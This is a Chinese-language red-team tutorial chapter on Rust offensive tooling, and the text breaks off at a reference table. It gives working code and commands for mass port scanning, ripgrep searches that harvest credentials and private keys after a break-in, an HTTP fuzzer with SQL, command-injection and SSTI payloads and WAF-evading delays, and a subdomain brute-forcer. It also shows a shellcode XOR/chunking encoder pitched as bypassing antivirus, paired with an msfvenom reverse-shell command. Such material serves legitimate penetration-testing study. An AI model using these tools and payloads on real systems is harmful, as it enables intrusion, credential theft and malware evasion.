05 — Rust 红队工具链与系统入侵

Rust 系统教程:Rust 教程总目录 | Rust 学习路径

哲学:Rust 不是一门”未来”的语言——它已经来了。actix-web 是全球最快的 Web 框架之一,hyper 是底层 HTTP 引擎,tokio 是异步运行时的事实标准,surrealDB 是新锐数据库,Cloudflare 的整个边缘计算平台都在用 Rust 重写。越来越多的关键基础设施正在被 Rust 生态吞没。红队如果不懂 Rust,就永远比对手慢一步。

环境:Arch Linux,rustup 已安装,cargo 可用。

目标:不仅会跑 Rust 写的工具,还要能写 Rust 脚本来攻击 Rust 编写的系统,最后站在攻击者角度审视 Rust 供应链——让 Rust 生态本身成为你的武器库。

Part 2: 用现成的 Rust 红队工具(上手即用)

实战 1:RustScan — 高速端口扫描

RustScan 自称「3 秒扫完 65535 个端口」——它不是吹牛。内部实现原理:

  1. 创建 5000 个 TCP socket(可调)
  2. 每批次 2000 个 socket 同时尝试 connect(可调)
  3. 使用 setsockopt SO_REUSEADDR + 非阻塞 I/O 事件循环
  4. 所有连接尝试在单个 epoll 循环中完成
  5. 开放端口结果直接以 -p80,443,8080 格式输出,可管道传给 nmap 做服务识别
# 安装
sudo pacman -S rustscan
# 或者从源码安装
cargo install rustscan
 
# 基础用法:全端口扫描单目标
rustscan -a 192.168.56.102
 
# 指定端口范围 + 线程数 + 批次大小
rustscan -a 192.168.56.102 --range 1-65535 -t 5000 -b 2000
 
# 管道传给 nmap 做详细版本探测
rustscan -a 192.168.56.102 -- -sV -sC -oA /tmp/rustscan_result
 
# 扫描 /24 内网段
rustscan -a 192.168.56.0/24 -- -sV -oA /tmp/c段扫描
 
# 只输出开放端口(不做服务识别)
rustscan -a 10.0.0.1 -g | tee open_ports.txt
 
# 超时设置(目标响应慢时增大)
rustscan -a 192.168.1.100 -t 3000 --timeout 2000

参数详解:

参数含义默认值何时调大/调小
-a目标地址必填支持 IP、域名、CIDR、逗号分隔
-t线程数4500目标延迟高 → 降低;局域网 → 可以更高
-b批次大小4500等于同时并发数,受文件描述符上限限制
-T超时(毫秒)1500慢速网络 → 加大到 3000-5000
--range端口范围1-65535快速扫描常用端口:1-1000,3306,8080,8443
-ggreppable 输出输出格式 IP -> [端口1,端口2,...]
--scriptsNSE 脚本--scripts "http-title,vulners"
--之后传给 nmap所有 nmap 参数都可以加在这里

预期输出示例(局域网扫描):

$ rustscan -a 192.168.56.102 -t 5000 -b 2000 -- -sV
 .----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
 | {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
 | .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
 `-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
 https://admin.tryhack.me
 
[~] The config file is expected to be at "/home/user/.config/rustscan/config.toml"
[~] Automatically increasing ulimit from 1024 to 5000.
Open 192.168.56.102:22
Open 192.168.56.102:80
Open 192.168.56.102:445
Open 192.168.56.102:3306
Open 192.168.56.102:8080
[~] Starting Script(s)
[~] Starting Nmap 7.94
Starting Nmap 7.94 ...
Nmap scan report for 192.168.56.102
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
80/tcp   open  http        Apache httpd 2.4.18
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
3306/tcp open  mysql       MySQL 5.7.33
8080/tcp open  http        Apache Tomcat 8.5.59
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

与 nmap 的配合策略:

# 策略 1:RustScan 快速发现开放端口 → nmap 深度扫描(最常用)
rustscan -a 10.10.10.0/24 -b 3000 -- -sV -sC -oA c段深度扫描
 
# 策略 2:只对特定端口做服务识别
rustscan -a target.com --range 1-10000 -- -sV -p {{port}} -oN services.txt
 
# 策略 3:批量目标文件导入
while read ip; do
    rustscan -a "$ip" --range 1-10000 -- -sV -oN "nmap_${ip}.txt"
done < targets.txt
 
# 策略 4:UDP 端口扫描(RustScan 只支持 TCP,UDP 用 nmap)
rustscan -a target.com -- -sV -sC -oA tcp_results
nmap -sU -sV -p- -oA udp_results target.com    # UDP 扫描单独跑

RustScan 的局限和绕过:

局限 1:只做 TCP connect() 扫描,不构造原始包
        → 通过内核 TCP 栈,每个连接产生完整的 TCP 握手
        → 比 SYN 半开扫描更容易被目标记录日志
        → 无法设置自定义源 IP(不能做 idle scan)

局限 2:不支持 UDP
        → 单独用 nmap -sU

局限 3:高并发时可能触发 IDS/IPS
        → 降低 -t 到 500,-b 到 200
        → 间隔 50ms 发包来模拟正常流量

局限 4:某些防火墙会直接丢包(而不是发 RST)
        → 增加 -T 超时值到 5000
        → 或使用 nmap 的 -Pn 跳过主机发现

实战 3:ripgrep (rg) — 红队信息收割神器

ripgrep 是用 Rust 写的 grep 替代品,快 10-30 倍。在红队工作中,它不只是文本搜索——它是在目标系统的文件海洋中快速定位敏感信息的核心工具。

# 安装
sudo pacman -S ripgrep
 
# === 密码搜索 ===
 
# 搜索所有包含 "password" 的文件(递归 + 忽略隐藏文件 + 智能文件类型过滤)
rg -i "password" /var/www/html/
 
# 只在特定类型文件中搜索
rg -i "password\|passwd\|pwd" --type html --type php --type js /var/www/
 
# 搜索 API 密钥模式(正则)
rg -i "api_?key\s*[:=]\s*['\"][^'\"]+['\"]" --type json --type yaml --type env .
 
# 搜索 JWT token 特征字符串
rg "eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+" .
 
# === 数据库连接串 ===
 
# 搜索各种数据库连接字符串
rg "mysql://|postgres://|postgresql://|mongodb://|redis://|sqlite://" .
 
# 搜索 JDBC 连接字符串
rg "jdbc:[a-z]+://[^/]+" --type java --type xml .
 
# 搜索 PHP 数据库配置
rg "\$db_(host|user|pass|name|password)\s*=" --type php /var/www/
 
# 搜索 Python 数据库配置
rg "(DATABASE_URL|DB_HOST|DB_PASSWORD|MONGO_URI)" --type py .
 
# === 密钥和证书 ===
 
# 搜索 SSH 私钥
rg -l "BEGIN (RSA|DSA|EC|OPENSSH) PRIVATE KEY" /
 
# 搜索 SSL 证书私钥
rg -l "BEGIN PRIVATE KEY" --type pem --type key /
 
# 搜索 .env 文件
fd -g ".env" . -x rg -i "(SECRET\|TOKEN\|KEY\|PASS)" {}
 
# === 注释中的敏感信息 ===
 
# 搜索 "临时" "测试" "硬编码" 等关键词
rg -i "(TODO|FIXME|HACK|XXX|TEMP|临时|测试|硬编码)" --type js --type py --type php .
 
# 搜索注释行中的敏感词(只要注释行)
rg "^[^a-zA-Z0-9]*//.*(password|secret|token)" --type js --type java .
rg "^[^a-zA-Z0-9]*#.*(password|secret|token)" --type py .
 
# === 内部端点发现 ===
 
# 搜索所有 API 路由定义
rg "(\.get\(|\.post\(|\.put\(|\.delete\(|@app\.|@route)" --type py --type js .
rg "route\s*[\(:].*['\"]" --type rs --type go .
 
# 搜索所有内网 IP
rg "\b(10\.\d{1,3}|172\.(1[6-9]|2\d|3[01])|192\.168)\.\d{1,3}\.\d{1,3}\b" .
 
# === 凭证文件定位 ===
 
# 查找所有配置文件
rg -l "(username|password|api_key|secret)\s*[:=]" --type yaml --type toml --type json --type env .
 
# 批量处理:找到文件后提取匹配行
rg -l "password" . | xargs rg "password" -n
 
# 上下文查看(前后各 3 行)
rg -C 3 "password" . --type php

ripgrep 红队专用参数组合:

# 搜索速度优化
rg -i -n --no-heading --color=never "pattern" .  # 纯文本输出,适合管道
rg -i -l "pattern" .                               # 只输出文件名
rg -i -c "pattern" .                               # 统计每个文件匹配数
rg -i --json "pattern" .                          # JSON 输出,便于脚本解析
 
# 文件过滤
rg --type-list                                      # 列出所有支持的文件类型
rg -t py -t js -t rs -t go "pattern" .             # 只搜索特定类型
rg -T lock "pattern" .                             # 排除 Cargo.lock/package-lock.json 等
rg -g "*.{conf,cfg,ini}" "pattern" .               # glob 模式过滤
 
# 搜索控制
rg --max-depth 3 "pattern" .                       # 限制目录深度
rg --max-filesize 10M "pattern" .                  # 忽略大文件
rg -m 5 "pattern" .                                # 每个文件最多匹配 5 行
rg --no-ignore "pattern" .                         # 不忽略 .gitignore 规则
rg -u "pattern" .                                  # 搜索所有文件包括隐藏文件
 
# 多行搜索
rg -U "user.*\n.*pass" .                           # 多行模式
 
# 反向匹配
rg -v "200 OK" access.log                          # 显示非 200 响应

实战场景:攻破一个 Web 服务器后,用 rg 做后渗透信息收割:

# 1. 快速定位所有配置文件
rg -l "(password|secret|key|token|credential)" /var/www/ 2>/dev/null
 
# 2. 搜索数据库备份文件中的凭证
rg -i "INSERT INTO.*users" --type sql /var/backups/
 
# 3. 搜索 SSH 配置中的跳板机信息
rg "(HostName|User|Port)\s" ~/.ssh/config
 
# 4. 搜索 bash 历史中的密码
rg "(passwd|mysql|psql|ssh|token)" ~/.bash_history
 
# 5. 搜索所有可写目录
find / -writable -type d 2>/dev/null | xargs -I {} rg -l "writable" {} 2>/dev/null

实战 4.5: 其他 Rust 红队工具速通

# ======== x8: HTTP 参数发现(类似 arjun)========
# 安装
cargo install x8
 
# 基础用法:自动发现 GET/POST 参数
x8 -u http://target.com/page.php -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 
# 测试参数是否有效
x8 -u http://target.com/api/endpoint -X POST -w /usr/share/wordlists/params.txt
 
# 多目标批量扫描
cat urls.txt | xargs -I {} x8 -u {} -w /usr/share/wordlists/params.txt
 
# ======== subxtract: 子域名枚举 ========
# 安装
cargo install subxtract
 
# 基础子域名爆破
subxtract -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 
# 输出到文件
subxtract -d target.com -w /usr/share/seclists/Discovery/DNS/namelist.txt -o subs.txt
 
# 解析 IP + 保存
subxtract -d target.com -w /usr/share/wordlists/subdomains.txt -r -o resolved_subs.txt
 
# ======== httpx (Go写的但值得装,Rust有替代rustscan-parse) ========
# rustscan 扫描后提取 HTTP 服务
rustscan -a 192.168.56.0/24 -g | awk -F'->' '{print $2}' | tr -d '[]' | tr ',' '\n' | grep -E '(80|443|8080|8443|3000|8000)'
 
# ======== tokei: 代码统计(红队侦察用)========
# 快速了解目标代码库组成
cargo install tokei
tokei /var/www/html/  # 看用了哪些语言、代码量
# 输出示例:
#  PHP          45 files    12500 lines
#  JavaScript   23 files     8900 lines
#  Rust         12 files     3400 lines  ← 关键!得知目标有 Rust 组件
 
# ======== bat: cat 替代带语法高亮(方便审计代码)========
sudo pacman -S bat
bat wp-config.php    # 比 cat 好 100 倍
bat --show-all nginx.conf  # 显示所有隐藏字符

实战 6:对 Rust 后端做 fuzz 测试

# === 安装 Rust fuzzing 工具链 ===
 
# cargo-fuzz (libfuzzer 绑定)
cargo install cargo-fuzz
 
# afl.rs (AFL 的 Rust 绑定)
cargo install afl
 
# honggfuzz
cargo install honggfuzz
 
# === 写一个针对 Rust HTTP API 的 fuzzer ===
 
# 创建项目
cargo new http_fuzzer && cd http_fuzzer

Cargo.toml 中添加依赖:

[package]
name = "http_fuzzer"
version = "0.1.0"
edition = "2021"
 
[dependencies]
reqwest = { version = "0.12", features = ["json"] }
tokio = { version = "1", features = ["full"] }
rand = "0.8"
serde_json = "1"

src/main.rs — 针对式 HTTP fuzzer:

use rand::Rng;
use reqwest::Client;
use std::time::Duration;
use tokio::time::sleep;
 
const FUZZ_PAYLOADS: &[&str] = &[
    "",                          // 空
    "A",                         // 单字符
    "%00",                       // null byte
    "%0d%0a",                    // CRLF
    "../../../../etc/passwd",    // 路径遍历
    "' OR '1'='1",               // SQL 注入
    "<script>alert(1)</script>", // XSS
    "${7*7}",                    // SSTI 测试
    "{{7*7}}",                   // Jinja2 SSTI
    "$(whoami)",                 // 命令注入
    "`whoami`",                  // 命令注入 2
    "&whoami&",                  // 命令注入 3
    "|whoami",                   // 命令注入 4
    "1 AND 1=1",                 // SQL 盲注
    "1' AND '1'='1",            // SQL 注入变体
    "{\"$gt\":\"\"}",           // NoSQL 注入
    "__proto__",                 // 原型污染
    "constructor",               // 原型污染 2
    "Infinity",                  // JSON 非标准值
    "NaN",                       // JSON 非标准值 2
    "-1e10000",                  // 超大浮点
];
 
async fn fuzz_endpoint(client: &Client, base_url: &str, endpoint: &str) {
    let mut rng = rand::thread_rng();
 
    for payload in FUZZ_PAYLOADS {
        // 测试 GET 请求(查询参数)
        let url = format!("{}{}?input={}", base_url, endpoint, payload);
        match client.get(&url).timeout(Duration::from_secs(5)).send().await {
            Ok(resp) => {
                let status = resp.status();
                if status.as_u16() == 500 {
                    let body = resp.text().await.unwrap_or_default();
                    if body.len() < 2000 {
                        println!("[!!!] 500 错误! URL: {} | 响应: {}", url, &body[..body.len().min(200)]);
                    } else {
                        println!("[!!!] 500 错误! URL: {} | 响应体过大({} bytes)", url, body.len());
                    }
                } else if status.as_u16() >= 200 && status.as_u16() < 400 {
                    println!("[.] {}  →  {} (OK)", url, status);
                } else {
                    println!("[?] {}  →  {} (异常)", url, status);
                }
            }
            Err(e) => {
                if e.is_timeout() {
                    println!("[!!!] 超时! URL: {} (可能是 DoS)", url);
                } else if e.is_connect() {
                    println!("[!!!] 连接断开! URL: {} (可能是 panic/crash)", url);
                } else {
                    println!("[!] 请求失败: {} - {}", url, e);
                }
            }
        }
 
        // 测试 POST 请求(JSON body)
        let json_body = serde_json::json!({
            "data": payload,
            "nested": {
                "value": payload
            }
        });
        match client.post(&format!("{}{}", base_url, endpoint))
            .json(&json_body)
            .timeout(Duration::from_secs(5))
            .send().await
        {
            Ok(resp) => {
                let status = resp.status();
                if status.as_u16() == 500 {
                    println!("[!!!] POST 500 错误! {} | payload={}", endpoint, payload);
                }
            }
            Err(e) => {
                if e.is_timeout() || e.is_connect() {
                    println!("[!!!] POST 连接问题! {} | payload={} | err={}", endpoint, payload, e);
                }
            }
        }
 
        // 随机延迟防止触发 WAF
        let delay = rng.gen_range(50..300);
        sleep(Duration::from_millis(delay)).await;
    }
}
 
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let args: Vec<String> = std::env::args().collect();
    if args.len() < 2 {
        eprintln!("用法: {} <目标URL>", args[0]);
        eprintln!("示例: {} http://192.168.56.102", args[0]);
        std::process::exit(1);
    }
 
    let base_url = args[1].trim_end_matches('/').to_string();
 
    let client = Client::builder()
        .danger_accept_invalid_certs(true)
        .user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
        .build()?;
 
    let endpoints = vec![
        "/api/users",
        "/api/login",
        "/api/search",
        "/api/upload",
        "/api/data",
        "/query",
        "/search",
        "/login",
        "/register",
        "/profile",
    ];
 
    println!("[*] 开始对 {} 进行 fuzz 测试", base_url);
    println!("[*] 测试端点: {:?}", endpoints);
    println!("[*] 总 payload 数: {} × {} = {}\n", FUZZ_PAYLOADS.len(), endpoints.len(), FUZZ_PAYLOADS.len() * endpoints.len());
 
    for endpoint in &endpoints {
        fuzz_endpoint(&client, &base_url, endpoint).await;
    }
 
    println!("\n[*] Fuzz 完成");
    Ok(())
}

运行:

cargo build --release
./target/release/http_fuzzer http://192.168.56.102:8080

预期输出:

[*] 开始对 http://192.168.56.102:8080 进行 fuzz 测试
[*] 测试端点: ["/api/users", "/api/login", "/api/search", ...]
[*] 总 payload 数: 21 × 10 = 210

[.] http://192.168.56.102:8080/api/users?input=  →  200 OK (OK)
[?] http://192.168.56.102:8080/api/users?input=%00  →  400 Bad Request (异常)
[!!!] 500 错误! URL: http://192.168.56.102:8080/api/search?input=' OR '1'='1 | 响应: {"error":"Internal Server Error","cause":"SQLx query failed: ..."}
[!!!] 超时! URL: http://192.168.56.102:8080/api/data?input=../../../../etc/passwd (可能是 DoS)
[!!!] 连接断开! URL: http://192.168.56.102:8080/api/upload?input=%0d%0a (可能是 panic/crash)

Part 4: 自己写 Rust 红队脚本

实战 8:Rust 高速端口扫描器(tokio 异步版)

cargo new rust_port_scanner && cd rust_port_scanner

Cargo.toml:

[package]
name = "rust_port_scanner"
version = "0.1.0"
edition = "2021"
 
[dependencies]
tokio = { version = "1", features = ["full"] }
clap = { version = "4", features = ["derive"] }
colored = "2"

src/main.rs:

use clap::Parser;
use colored::*;
use std::sync::Arc;
use std::time::Duration;
use tokio::net::TcpStream;
use tokio::sync::Semaphore;
use tokio::time::timeout;
 
#[derive(Parser, Debug)]
#[command(name = "rust_port_scanner")]
#[command(about = "高性能异步 TCP 端口扫描器", version = "0.1")]
struct Args {
    /// 目标 IP 地址
    #[arg(short, long)]
    target: String,
 
    /// 起始端口
    #[arg(short, long, default_value = "1")]
    start: u16,
 
    /// 结束端口
    #[arg(short = 'e', long, default_value = "65535")]
    end: u16,
 
    /// 最大并发连接数
    #[arg(short, long, default_value = "1000")]
    concurrency: usize,
 
    /// 连接超时(毫秒)
    #[arg(short = 'T', long, default_value = "1000")]
    timeout_ms: u64,
 
    /// 是否显示关闭的端口
    #[arg(short = 'v', long)]
    verbose: bool,
}
 
async fn scan_port(target: &str, port: u16, timeout_dur: Duration) -> (u16, bool) {
    let addr = format!("{}:{}", target, port);
    match timeout(timeout_dur, TcpStream::connect(&addr)).await {
        Ok(Ok(_stream)) => (port, true),
        _ => (port, false),
    }
}
 
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let args = Args::parse();
    let timeout_dur = Duration::from_millis(args.timeout_ms);
    let semaphore = Arc::new(Semaphore::new(args.concurrency));
    let target = Arc::new(args.target.clone());
 
    println!(
        "{} {} {} [{} -> {}]",
        "[*]".blue().bold(),
        "扫描目标:".white(),
        target.white().bold(),
        args.start,
        args.end
    );
    println!(
        "{} 并发: {} | 超时: {}ms",
        "[*]".blue().bold(),
        args.concurrency,
        args.timeout_ms
    );
 
    let start_time = std::time::Instant::now();
    let mut handles = Vec::new();
 
    for port in args.start..=args.end {
        let permit = semaphore.clone().acquire_owned().await;
        let target = target.clone();
 
        handles.push(tokio::spawn(async move {
            let _permit = permit;
            scan_port(&target, port, timeout_dur).await
        }));
    }
 
    let mut open_ports: Vec<u16> = Vec::new();
    let mut closed_count = 0;
 
    for handle in handles {
        match handle.await {
            Ok((port, true)) => {
                println!("{} {}:{} {}", "[+]".green().bold(), *target, port, "开放".green());
                open_ports.push(port);
            }
            Ok((port, false)) => {
                if args.verbose {
                    println!("{} {}:{} {}", "[-]".red(), *target, port, "关闭".red());
                }
                closed_count += 1;
            }
            Err(e) => {
                eprintln!("{} 任务失败: {}", "[!]".yellow().bold(), e);
            }
        }
    }
 
    let elapsed = start_time.elapsed();
    let total = args.end - args.start + 1;
 
    println!("\n{}", "=".repeat(50));
    println!(
        "{} 扫描完成: {:.2}s",
        "[*]".blue().bold(),
        elapsed.as_secs_f64()
    );
    println!(
        "{} 总计: {} 端口 | {} 开放 | {} 关闭",
        "[*]".blue().bold(),
        total,
        format!("{}", open_ports.len()).green().bold(),
        closed_count
    );
 
    if !open_ports.is_empty() {
        println!(
            "{} 开放端口: {}",
            "[+]".green().bold(),
            open_ports
                .iter()
                .map(|p| p.to_string())
                .collect::<Vec<_>>()
                .join(", ")
        );
    }
 
    Ok(())
}

编译运行:

cargo build --release
./target/release/rust_port_scanner -t 192.168.56.102 -s 1 -e 1000 -c 500

预期输出:

[*] 扫描目标: 192.168.56.102 [1 -> 1000]
[*] 并发: 500 | 超时: 1000ms
[+] 192.168.56.102:22 开放
[+] 192.168.56.102:80 开放
[+] 192.168.56.102:443 开放
[+] 192.168.56.102:445 开放
[+] 192.168.56.102:3306 开放
[+] 192.168.56.102:8080 开放

[*] 扫描完成: 2.34s
[*] 总计: 1000 端口 | 6 开放 | 994 关闭
[+] 开放端口: 22, 80, 443, 445, 3306, 8080

实战 10:Rust DNS 子域名爆破器(并发 UDP)

cargo new rust_subdomain_brute && cd rust_subdomain_brute

Cargo.toml:

[package]
name = "rust_subdomain_brute"
version = "0.1.0"
edition = "2021"
 
[dependencies]
tokio = { version = "1", features = ["full"] }
clap = { version = "4", features = ["derive"] }
colored = "2"
trust-dns-resolver = "0.23"

src/main.rs:

use clap::Parser;
use colored::*;
use std::fs;
use std::sync::Arc;
use std::time::Instant;
use tokio::sync::Semaphore;
use trust_dns_resolver::config::{ResolverConfig, ResolverOpts};
use trust_dns_resolver::TokioAsyncResolver;
 
#[derive(Parser, Debug)]
#[command(name = "rust_subdomain_brute")]
struct Args {
    /// 目标域名
    #[arg(short, long)]
    domain: String,
 
    /// 子域名字典文件
    #[arg(short, long)]
    wordlist: String,
 
    /// 并发数
    #[arg(short, long, default_value = "200")]
    concurrency: usize,
 
    /// 自定义 DNS 服务器
    #[arg(short = 'd', long)]
    dns_server: Option<String>,
 
    /// 输出文件
    #[arg(short, long)]
    output: Option<String>,
}
 
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let args = Args::parse();
 
    let wordlist_content = fs::read_to_string(&args.wordlist)?;
    let subdomains: Vec<&str> = wordlist_content
        .lines()
        .map(|l| l.trim())
        .filter(|l| !l.is_empty() && !l.starts_with('#'))
        .collect();
 
    // 构建解析器
    let resolver = if let Some(ref dns_ip) = args.dns_server {
        let mut config = ResolverConfig::default();
        let mut opts = ResolverOpts::default();
        opts.timeout = std::time::Duration::from_secs(3);
        opts.attempts = 1;
 
        let ns_group = trust_dns_resolver::config::NameServerConfigGroup::from_ips_clear(
            &[dns_ip.parse()?],
            53,
            true,
        );
        config = ResolverConfig::from_parts(None, vec![], ns_group);
        TokioAsyncResolver::tokio(config, opts)?
    } else {
        let mut opts = ResolverOpts::default();
        opts.timeout = std::time::Duration::from_secs(3);
        opts.attempts = 1;
        TokioAsyncResolver::tokio(ResolverConfig::default(), opts)?
    };
 
    let semaphore = Arc::new(Semaphore::new(args.concurrency));
    let domain = Arc::new(args.domain.clone());
 
    println!(
        "{} 目标域名: {} | 字典条目: {}",
        "[*]".blue().bold(),
        domain.white().bold(),
        subdomains.len()
    );
    println!(
        "{} 并发: {} | DNS: {}",
        "[*]".blue().bold(),
        args.concurrency,
        args.dns_server.as_deref().unwrap_or("系统默认")
    );
    println!();
 
    let start = Instant::now();
    let mut handles = Vec::new();
 
    for &sub in &subdomains {
        let permit = semaphore.clone().acquire_owned().await;
        let resolver = resolver.clone();
        let domain = domain.clone();
        let sub_owned = sub.to_string();
 
        handles.push(tokio::spawn(async move {
            let _permit = permit;
            let fqdn = format!("{}.{}", sub_owned, domain);
 
            match resolver.lookup_ip(&fqdn).await {
                Ok(lookup) => {
                    let ips: Vec<String> = lookup.iter().map(|ip| ip.to_string()).collect();
                    Some((fqdn, ips))
                }
                Err(_) => None,
            }
        }));
    }
 
    let mut found = Vec::new();
    for handle in handles {
        match handle.await {
            Ok(Some((fqdn, ips))) => {
                println!(
                    "{} {} -> {}",
                    "[+]".green().bold(),
                    fqdn.green(),
                    ips.join(", ").yellow()
                );
                found.push((fqdn, ips));
            }
            Ok(None) => {}
            Err(e) => {
                eprintln!("{} 任务异常: {}", "[!]".red(), e);
            }
        }
    }
 
    let elapsed = start.elapsed();
 
    if let Some(ref output_path) = args.output {
        let mut output_content = String::new();
        for (fqdn, ips) in &found {
            output_content.push_str(&format!("{} -> {}\n", fqdn, ips.join(", ")));
        }
        fs::write(output_path, output_content)?;
        println!("\n{} 结果已保存到: {}", "[*]".blue(), output_path);
    }
 
    println!("\n{}", "=".repeat(50));
    println!(
        "{} 扫描完成: {:.2}s | 发现 {} 个子域名",
        "[*]".blue().bold(),
        elapsed.as_secs_f64(),
        format!("{}", found.len()).green().bold()
    );
 
    Ok(())
}

运行:

# 用系统 DNS
cargo run --release -- -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -o found_subs.txt
 
# 用指定 DNS(如 8.8.8.8)
cargo run --release -- -d target.com -w /usr/share/seclists/Discovery/DNS/namelist.txt -d 8.8.8.8 -c 500

实战 12:Shellcode 编码/混淆生成器

cargo new shellcode_encoder && cd shellcode_encoder

Cargo.toml:

[package]
name = "shellcode_encoder"
version = "0.1.0"
edition = "2021"
 
[dependencies]
clap = { version = "4", features = ["derive"] }
base64 = "0.22"
rand = "0.8"

src/main.rs:

use base64::Engine;
use clap::Parser;
use rand::Rng;
use std::fs;
 
#[derive(Parser, Debug)]
#[command(name = "shellcode_encoder")]
struct Args {
    /// Shellcode 原始文件(二进制)
    #[arg(short, long)]
    input: String,
 
    /// 输出格式: hex, c, python, ps1, b64, rust
    #[arg(short, long, default_value = "hex")]
    format: String,
 
    /// XOR 密钥(单字节,0x00-0xFF,0 表示不 XOR)
    #[arg(short, long, default_value = "0")]
    xor_key: u8,
 
    /// 随机 XOR 密钥
    #[arg(short = 'r', long)]
    random_xor: bool,
 
    /// 分块大小(对 shellcode 做分段避免检测)
    #[arg(short, long, default_value = "0")]
    chunk_size: usize,
 
    /// 变量名(C/Rust/PowerShell 格式用)
    #[arg(short = 'n', long, default_value = "shellcode")]
    var_name: String,
}
 
fn main() -> Result<(), Box<dyn std::error::Error>> {
    let mut args = Args::parse();
    let raw = fs::read(&args.input)?;
    let original_len = raw.len();
 
    if args.random_xor {
        args.xor_key = rand::thread_rng().gen_range(1..=255);
    }
 
    // XOR 编码
    let processed: Vec<u8> = if args.xor_key != 0 {
        raw.iter().map(|b| b ^ args.xor_key).collect()
    } else {
        raw.clone()
    };
 
    // 分块(可选)
    let chunks: Vec<&[u8]> = if args.chunk_size > 0 {
        processed.chunks(args.chunk_size).collect()
    } else {
        vec![&processed[..]]
    };
 
    println!("/*");
    println!(" * Shellcode Encoder - Red Team Tool");
    println!(" * 原始大小: {} bytes", original_len);
    if args.xor_key != 0 {
        println!(" * XOR 密钥: 0x{:02X}", args.xor_key);
    }
    if args.chunk_size > 0 {
        println!(" * 分块大小: {} bytes (共 {} 块)", args.chunk_size, chunks.len());
    }
    println!(" */\n");
 
    match args.format.as_str() {
        "hex" => {
            println!("{}", hex_format(&processed));
        }
        "c" => {
            println!("{}", c_format(&processed, &args.var_name));
        }
        "python" => {
            println!("{}", python_format(&processed, &args.var_name, args.xor_key));
        }
        "ps1" | "powershell" => {
            println!("{}", ps1_format(&processed, &args.var_name, args.xor_key));
        }
        "b64" | "base64" => {
            let b64 = base64::engine::general_purpose::STANDARD.encode(&processed);
            println!("{}", b64);
        }
        "rust" => {
            println!("{}", rust_format(&processed, &args.var_name));
        }
        _ => {
            eprintln!("不支持的格式: {}", args.format);
            eprintln!("支持: hex, c, python, ps1, b64, rust");
            std::process::exit(1);
        }
    }
 
    Ok(())
}
 
fn hex_format(data: &[u8]) -> String {
    data.iter()
        .map(|b| format!("{:02x}", b))
        .collect::<Vec<_>>()
        .join("")
}
 
fn c_format(data: &[u8], var_name: &str) -> String {
    let mut output = format!(
        "// C/C++ Shellcode - XOR Key: (manual)\n"
    );
    output.push_str(&format!(
        "unsigned char {}[] = {{\n    ",
        var_name
    ));
 
    for (i, byte) in data.iter().enumerate() {
        if i > 0 {
            output.push_str(", ");
        }
        if i % 16 == 0 && i > 0 {
            output.push_str("\n    ");
        }
        output.push_str(&format!("0x{:02x}", byte));
    }
    output.push_str(&format!("\n}};\nunsigned int {}_len = {};\n", var_name, data.len()));
    output
}
 
fn python_format(data: &[u8], var_name: &str, xor_key: u8) -> String {
    let hex_str = hex_format(data);
    let mut output = format!("# Python3 Shellcode\n");
 
    if xor_key != 0 {
        output.push_str(&format!("# XOR Key: 0x{:02X}\n\n", xor_key));
        output.push_str(&format!(
            "{} = bytes.fromhex('{}')\n",
            var_name, hex_str
        ));
        output.push_str(&format!(
            "{}_decoded = bytes([b ^ 0x{:02X} for b in {}])\n",
            var_name, xor_key, var_name
        ));
    } else {
        output.push_str(&format!(
            "{} = bytes.fromhex('{}')\n",
            var_name, hex_str
        ));
    }
    output
}
 
fn ps1_format(data: &[u8], var_name: &str, xor_key: u8) -> String {
    let b64 = base64::engine::general_purpose::STANDARD.encode(data);
    let mut output = format!("# PowerShell Shellcode\n\n");
 
    if xor_key != 0 {
        output.push_str(&format!("$xorKey = 0x{:02X}\n", xor_key));
        output.push_str(&format!(
            "[Byte[]] ${} = [System.Convert]::FromBase64String('{}') | ForEach-Object {{ $_ -bxor $xorKey }}\n",
            var_name, b64
        ));
    } else {
        output.push_str(&format!(
            "[Byte[]] ${} = [System.Convert]::FromBase64String('{}')\n",
            var_name, b64
        ));
    }
    output
}
 
fn rust_format(data: &[u8], var_name: &str) -> String {
    let mut output = format!("// Rust Shellcode\n\n");
    output.push_str(&format!(
        "let {}: [u8; {}] = [\n    ",
        var_name,
        data.len()
    ));
 
    for (i, byte) in data.iter().enumerate() {
        if i > 0 {
            output.push_str(", ");
        }
        if i % 16 == 0 && i > 0 {
            output.push_str("\n    ");
        }
        output.push_str(&format!("0x{:02x}", byte));
    }
    output.push_str(&format!("\n];\n"));
    output
}

运行:

# 生成 msfvenom shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f raw -o shellcode.bin
 
# Hex 格式输出
cargo run --release -- -i shellcode.bin -f hex
 
# C 语言格式
cargo run --release -- -i shellcode.bin -f c -n sc
 
# Python 格式 + XOR 编码
cargo run --release -- -i shellcode.bin -f python -x 0x55 -n payload
 
# PowerShell 格式 + 随机 XOR
cargo run --release -- -i shellcode.bin -f ps1 -r -n shellcode
 
# Base64 输出
cargo run --release -- -i shellcode.bin -f b64
 
# Rust 格式
cargo run --release -- -i shellcode.bin -f rust -n SHELLCODE
 
# 分块输出(绕过 AV 扫描)
cargo run --release -- -i shellcode.bin -f c -n sc --chunk-size 16

Part 6: 扩展与总结

Rust 红队工具速查表

工具用途安装命令核心用法
